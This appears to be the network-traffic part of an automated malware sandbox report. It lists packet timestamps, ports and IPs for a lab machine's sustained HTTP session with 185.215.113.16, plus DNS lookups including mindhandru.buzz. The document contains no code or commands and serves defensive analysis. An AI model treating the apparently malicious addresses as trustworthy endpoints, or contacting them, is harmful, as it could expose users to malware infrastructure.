Dec 27, 2024 08:45:41.361690998 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.362328053 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.362389088 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.362397909 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.362438917 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.362488031 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.363157988 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.363178015 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.363185883 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.363236904 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.363284111 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.363920927 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.363959074 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.363974094 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.364047050 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.364075899 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.364747047 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.364773989 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.364782095 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.364830017 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.365111113 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.365504026 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.365541935 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.365550041 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.365629911 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.365648985 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.366282940 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.366344929 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.366359949 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.366410971 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.366415024 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.367144108 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.367182970 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.367189884 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.367249966 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.367257118 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.367878914 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.367938995 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.367953062 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.367969036 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.367990971 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.393500090 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.393538952 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.393552065 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.393618107 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.393698931 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.393728018 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.393744946 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.393770933 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.393811941 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.394280910 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.394380093 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.394454956 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.541013002 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.541126966 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.541137934 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.541148901 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.541213989 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.541227102 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.541225910 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.541254044 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.541266918 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.541924000 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.541937113 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.541996956 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.542184114 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.542241096 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.542254925 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.542284966 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.542327881 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.543019056 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.543066978 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.543071985 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.543086052 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.543143988 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.543160915 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.543773890 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.543819904 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.543824911 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.543838024 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.543895006 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.543927908 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.544183016 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.544584036 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.544641018 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.544653893 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.544689894 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.544732094 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.545356035 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.545401096 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.545411110 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.545413017 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.545427084 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.545475960 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.546153069 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.546190977 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.546202898 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.546215057 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.546245098 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.546297073 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.546941042 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.547049046 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.547060966 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.547068119 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.547080040 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.547096014 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.547117949 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.547732115 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.547812939 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.547825098 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.547858953 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.547873974 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.548548937 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.548588991 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.548600912 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.548600912 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.548618078 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.548667908 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.548700094 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.549324036 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.549371958 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.549382925 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.549407959 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.549457073 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.550158978 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.550203085 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.550230980 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.550246954 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.550282001 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.550302029 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.550353050 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.550892115 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.550950050 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.550968885 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.550990105 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.551038027 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.551701069 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.551747084 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.551753044 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.551759958 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.551779985 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.551842928 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.552290916 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.552485943 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.552534103 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.552546024 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.552568913 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.552618980 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.553298950 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.553343058 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.553354979 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.553364038 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.553395987 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.553440094 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.553469896 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.554063082 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.554136038 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.554147959 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.554174900 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.554213047 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.554959059 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.555001020 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.555007935 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.555020094 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.555049896 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.555171013 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.555207968 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.555680037 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.555720091 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.555731058 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.555758953 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.555807114 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.556548119 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.556588888 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.556602955 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.556615114 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.556644917 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.556674004 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.556706905 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.557252884 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.557334900 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.557347059 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.557383060 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.557420015 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.558074951 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.558115959 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.558126926 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.558126926 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.558146000 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.558209896 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.558273077 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.558840990 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.558890104 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.558901072 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.558933973 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.558998108 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.559653044 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.559694052 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.559700966 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.559706926 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.559742928 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.559778929 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.559809923 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.560401917 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.585553885 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.585597992 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.585608959 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.585629940 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.585653067 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.585760117 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.585890055 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.585925102 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.585932016 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.585944891 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.585973978 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.733222008 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.733237982 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.733253002 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.733267069 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.733288050 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.733310938 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.733423948 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.781311989 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:53.059161901 CET	49821	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:45:53.059216976 CET	443	49821	172.217.21.36	192.168.2.5
Dec 27, 2024 08:45:53.059576035 CET	49821	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:45:53.059947014 CET	49821	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:45:53.059963942 CET	443	49821	172.217.21.36	192.168.2.5
Dec 27, 2024 08:45:54.780808926 CET	443	49821	172.217.21.36	192.168.2.5
Dec 27, 2024 08:45:54.781646967 CET	49821	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:45:54.781662941 CET	443	49821	172.217.21.36	192.168.2.5
Dec 27, 2024 08:45:54.782706022 CET	443	49821	172.217.21.36	192.168.2.5
Dec 27, 2024 08:45:54.782768965 CET	49821	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:45:54.784821033 CET	49821	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:45:54.784902096 CET	443	49821	172.217.21.36	192.168.2.5
Dec 27, 2024 08:45:54.825505972 CET	49821	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:45:54.825531960 CET	443	49821	172.217.21.36	192.168.2.5
Dec 27, 2024 08:45:54.873338938 CET	49821	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:45:55.398448944 CET	49703	443	192.168.2.5	23.1.237.91
Dec 27, 2024 08:45:55.399277925 CET	49703	443	192.168.2.5	23.1.237.91
Dec 27, 2024 08:45:55.399604082 CET	49833	443	192.168.2.5	23.1.237.91
Dec 27, 2024 08:45:55.399641037 CET	443	49833	23.1.237.91	192.168.2.5
Dec 27, 2024 08:45:55.399713993 CET	49833	443	192.168.2.5	23.1.237.91
Dec 27, 2024 08:45:55.399925947 CET	49833	443	192.168.2.5	23.1.237.91
Dec 27, 2024 08:45:55.399940014 CET	443	49833	23.1.237.91	192.168.2.5
Dec 27, 2024 08:45:55.517991066 CET	443	49703	23.1.237.91	192.168.2.5
Dec 27, 2024 08:45:55.518747091 CET	443	49703	23.1.237.91	192.168.2.5
Dec 27, 2024 08:45:56.178282022 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:56.860874891 CET	443	49833	23.1.237.91	192.168.2.5
Dec 27, 2024 08:45:56.860948086 CET	49833	443	192.168.2.5	23.1.237.91
Dec 27, 2024 08:46:04.475378036 CET	443	49821	172.217.21.36	192.168.2.5
Dec 27, 2024 08:46:04.475537062 CET	443	49821	172.217.21.36	192.168.2.5
Dec 27, 2024 08:46:04.475595951 CET	49821	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:46:04.884952068 CET	49821	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:46:04.884979963 CET	443	49821	172.217.21.36	192.168.2.5
Dec 27, 2024 08:46:16.249738932 CET	443	49833	23.1.237.91	192.168.2.5
Dec 27, 2024 08:46:16.250427008 CET	49833	443	192.168.2.5	23.1.237.91
Dec 27, 2024 08:46:23.198472977 CET	49833	443	192.168.2.5	23.1.237.91
Dec 27, 2024 08:46:23.198506117 CET	443	49833	23.1.237.91	192.168.2.5
Dec 27, 2024 08:46:23.198527098 CET	49833	443	192.168.2.5	23.1.237.91
Dec 27, 2024 08:46:23.198534966 CET	443	49833	23.1.237.91	192.168.2.5
Dec 27, 2024 08:46:23.198868036 CET	49974	443	192.168.2.5	23.1.237.91
Dec 27, 2024 08:46:23.198915958 CET	443	49974	23.1.237.91	192.168.2.5
Dec 27, 2024 08:46:23.198971033 CET	49974	443	192.168.2.5	23.1.237.91
Dec 27, 2024 08:46:23.199414968 CET	49974	443	192.168.2.5	23.1.237.91
Dec 27, 2024 08:46:23.199464083 CET	443	49974	23.1.237.91	192.168.2.5
Dec 27, 2024 08:46:23.199512959 CET	49974	443	192.168.2.5	23.1.237.91
Dec 27, 2024 08:46:52.982285976 CET	50043	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:46:52.982327938 CET	443	50043	172.217.21.36	192.168.2.5
Dec 27, 2024 08:46:52.982403994 CET	50043	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:46:52.983036995 CET	50043	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:46:52.983064890 CET	443	50043	172.217.21.36	192.168.2.5
Dec 27, 2024 08:46:55.056416035 CET	443	50043	172.217.21.36	192.168.2.5
Dec 27, 2024 08:46:55.109797955 CET	50043	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:46:55.784739017 CET	50043	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:46:55.784761906 CET	443	50043	172.217.21.36	192.168.2.5
Dec 27, 2024 08:46:55.785429955 CET	443	50043	172.217.21.36	192.168.2.5
Dec 27, 2024 08:46:55.804723024 CET	50043	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:46:55.804929018 CET	443	50043	172.217.21.36	192.168.2.5
Dec 27, 2024 08:46:55.855706930 CET	50043	443	192.168.2.5	172.217.21.36

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 08:44:53.212903023 CET	50021	53	192.168.2.5	1.1.1.1
Dec 27, 2024 08:44:53.354335070 CET	53	50021	1.1.1.1	192.168.2.5
Dec 27, 2024 08:45:48.514516115 CET	53	63543	1.1.1.1	192.168.2.5
Dec 27, 2024 08:45:48.555871964 CET	53	59294	1.1.1.1	192.168.2.5
Dec 27, 2024 08:45:51.407918930 CET	53	62187	1.1.1.1	192.168.2.5
Dec 27, 2024 08:45:52.918910980 CET	57554	53	192.168.2.5	1.1.1.1
Dec 27, 2024 08:45:52.919440985 CET	58788	53	192.168.2.5	1.1.1.1
Dec 27, 2024 08:45:53.056377888 CET	53	57554	1.1.1.1	192.168.2.5
Dec 27, 2024 08:45:53.056468010 CET	53	58788	1.1.1.1	192.168.2.5
Dec 27, 2024 08:45:54.940556049 CET	64451	53	192.168.2.5	1.1.1.1
Dec 27, 2024 08:45:54.940721989 CET	57045	53	192.168.2.5	1.1.1.1
Dec 27, 2024 08:45:58.132914066 CET	55201	53	192.168.2.5	1.1.1.1
Dec 27, 2024 08:45:58.133093119 CET	53985	53	192.168.2.5	1.1.1.1
Dec 27, 2024 08:46:04.885394096 CET	60341	53	192.168.2.5	1.1.1.1
Dec 27, 2024 08:46:04.885683060 CET	49869	53	192.168.2.5	1.1.1.1
Dec 27, 2024 08:46:05.374705076 CET	53	56246	1.1.1.1	192.168.2.5
Dec 27, 2024 08:46:08.497999907 CET	53	59988	1.1.1.1	192.168.2.5
Dec 27, 2024 08:46:27.541891098 CET	53	51902	1.1.1.1	192.168.2.5
Dec 27, 2024 08:46:48.403247118 CET	53	59428	1.1.1.1	192.168.2.5
Dec 27, 2024 08:46:49.979840040 CET	53	58413	1.1.1.1	192.168.2.5

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 27, 2024 08:45:55.348268032 CET	192.168.2.5	1.1.1.1	c2c2	(Port unreachable)	Destination Unreachable
Dec 27, 2024 08:46:09.132822037 CET	192.168.2.5	1.1.1.1	c2b6	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 27, 2024 08:44:53.212903023 CET	192.168.2.5	1.1.1.1	0x4d68	Standard query (0)	mindhandru.buzz	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:45:52.918910980 CET	192.168.2.5	1.1.1.1	0x8571	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:45:52.919440985 CET	192.168.2.5	1.1.1.1	0xccd8	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 27, 2024 08:45:54.940556049 CET	192.168.2.5	1.1.1.1	0x37fa	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:45:54.940721989 CET	192.168.2.5	1.1.1.1	0x3d7e	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Dec 27, 2024 08:45:58.132914066 CET	192.168.2.5	1.1.1.1	0x7e87	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:45:58.133093119 CET	192.168.2.5	1.1.1.1	0xd721	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Dec 27, 2024 08:46:04.885394096 CET	192.168.2.5	1.1.1.1	0x5d12	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:46:04.885683060 CET	192.168.2.5	1.1.1.1	0x8f44	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 27, 2024 08:44:53.354335070 CET	1.1.1.1	192.168.2.5	0x4d68	No error (0)	mindhandru.buzz		172.67.165.185	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:44:53.354335070 CET	1.1.1.1	192.168.2.5	0x4d68	No error (0)	mindhandru.buzz		104.21.11.101	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:45:53.056377888 CET	1.1.1.1	192.168.2.5	0x8571	No error (0)	www.google.com		172.217.21.36	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:45:53.056468010 CET	1.1.1.1	192.168.2.5	0xccd8	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 27, 2024 08:45:55.078295946 CET	1.1.1.1	192.168.2.5	0x37fa	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 08:45:55.078295946 CET	1.1.1.1	192.168.2.5	0x37fa	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 08:45:55.078295946 CET	1.1.1.1	192.168.2.5	0x37fa	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
